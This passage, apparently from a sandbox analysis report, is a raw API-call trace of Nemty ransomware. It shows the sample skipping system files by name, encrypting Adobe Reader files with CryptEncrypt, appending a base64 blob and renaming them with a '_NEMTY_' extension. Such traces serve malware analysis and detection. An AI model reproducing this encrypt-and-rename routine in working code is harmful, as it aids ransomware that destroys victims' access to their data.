lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NOR", lpUsedDefaultChar=0x0) returned 11 [0170.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NOR", lpUsedDefaultChar=0x0) returned 11 [0170.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NOR", lpUsedDefaultChar=0x0) returned 11 [0170.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.948] Sleep (dwMilliseconds=0x5) [0170.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x198bc150, dwHighDateTime=0x1d561e8)) [0170.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x198bc150, dwHighDateTime=0x1d561e8)) [0170.958] GetLastError () returned 0x0 [0170.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.958] GetLastError () returned 0x0 [0170.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.958] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.959] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.959] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.959] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="OFUvaUkQpMbfLQYbJSalh+qaVpuonu3p3QVUVndIJ2HpqPUkjy8ONHtReWsU3q3k\r\n5RqSa/+XgeFcqJaLSOrfwsHEM6m2QonwtUGJ1Q8guZ8HIvb3nZ+NPw0Wp695fWOq\r\n9Ptz5a7lYH67idl6N5BJgnHtXIHvBi7JG929Gwip0hG2xDR7w2BPqk3C7EbO5uOZ\r\nIio19FLYi8QChdwslIVQTZzwDrZRbVJlkMgkMCImlR4j7JYJpmDYKimSI3SgbZaP\r\nORMNIH9Q51hNZEgKo2dyAQ0Zho7Tt6iGVYkLIfbY22z0ST5NgXllMJk4rOitDIeb\r\nmZ8LvWQ/5wbKWoO5Oexerg==\r\n", pcchString=0x653e91c) returned 1 [0170.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.959] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.959] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.959] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.959] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.961] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.961] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.961] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.961] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.961] CloseHandle (hObject=0x254) returned 1 [0170.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.962] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nor._nemty_kgobjgd_")) returned 1 [0170.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.962] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.POL", cAlternateFileName="")) returned 1 [0170.962] lstrcmpiW (lpString1="nppdf32.POL", lpString2=".") returned 1 [0170.962] lstrcmpiW (lpString1="nppdf32.POL", lpString2="..") returned 1 [0170.962] lstrcmpiW (lpString1="nppdf32.POL", lpString2="...") returned 1 [0170.962] lstrcmpiW (lpString1="nppdf32.POL", lpString2="windows") returned -1 [0170.962] lstrcmpiW (lpString1="nppdf32.POL", lpString2="$RECYCLE.BIN") returned 1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="rsa") returned -1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="NTDETECT.COM") returned -1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="ntldr") returned -1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="MSDOS.SYS") returned 1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="IO.SYS") returned 1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="boot.ini") returned 1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="boot.ini") returned 1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="AUTOEXEC.BAT") returned 1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="ntuser.dat") returned -1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="desktop.ini") returned 1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="CONFIG.SYS") returned 1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="RECYCLER") returned -1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="BOOTSECT.BAK") returned 1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="bootmgr") returned 1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="programdata") returned -1 [0170.963] lstrcmpiW (lpString1="nppdf32.POL", lpString2="appdata") returned 1 [0170.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.POL", lpUsedDefaultChar=0x0) returned 11 [0170.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.POL", lpUsedDefaultChar=0x0) returned 11 [0170.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.POL", lpUsedDefaultChar=0x0) returned 11 [0170.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.POL", lpUsedDefaultChar=0x0) returned 11 [0170.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.963] Sleep (dwMilliseconds=0x5) [0170.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x198e22b0, dwHighDateTime=0x1d561e8)) [0170.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x198e22b0, dwHighDateTime=0x1d561e8)) [0170.975] GetLastError () returned 0x0 [0170.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.975] GetLastError () returned 0x0 [0170.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.975] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.975] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.976] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.976] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="MP3p+p7MISjuvjeKpe7QqkT+lHNsU1cEvxABI9XWMZ48QqmW4d+MTVdi3oSAZx10\r\nWjlyiksg9YEKsYSuyOKiWx1NdwMpOC0cpBUbIwlUMoga+49miOXP+fxIhGwsOxqq\r\nbYGG8BQg1pXpjXW74RNwlye+sWxBL5KnJzxjWt1q7UUzxsHYANPVgDPp1jf4piP7\r\nc74m7TX6ndllKXUYKqDBgK8oeZqLAtyS4BJE+Nn5kmynCzSmbDXH7UbBJXRciOvc\r\nxZF04tX2lBZ/NufQiq6m7rdv6kwPsjjkeHCstn0ZvdShLs8MB3jflsd7H3Bu/2sx\r\nC7I7+GsAb1LhBobUdexuAA==\r\n", pcchString=0x653e91c) returned 1 [0170.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.976] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.976] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=8192) returned 1 [0170.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0170.976] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.976] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x2000, lpOverlapped=0x0) returned 1 [0170.978] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.978] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x2000, lpOverlapped=0x0) returned 1 [0170.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.978] SetFilePointer (in: hFile=0x254, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0170.978] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.979] CloseHandle (hObject=0x254) returned 1 [0170.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.979] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.pol._nemty_kgobjgd_")) returned 1 [0170.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.980] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.PTB", cAlternateFileName="")) returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2=".") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="..") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="...") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="windows") returned -1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="$RECYCLE.BIN") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="rsa") returned -1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="NTDETECT.COM") returned -1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="ntldr") returned -1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="MSDOS.SYS") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="IO.SYS") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="boot.ini") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="boot.ini") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="ntuser.dat") returned -1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="desktop.ini") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="CONFIG.SYS") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="RECYCLER") returned -1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="BOOTSECT.BAK") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="bootmgr") returned 1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="programdata") returned -1 [0170.980] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="appdata") returned 1 [0170.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.980] WideCharToMultiByte (in: CodePage=0xfde9, 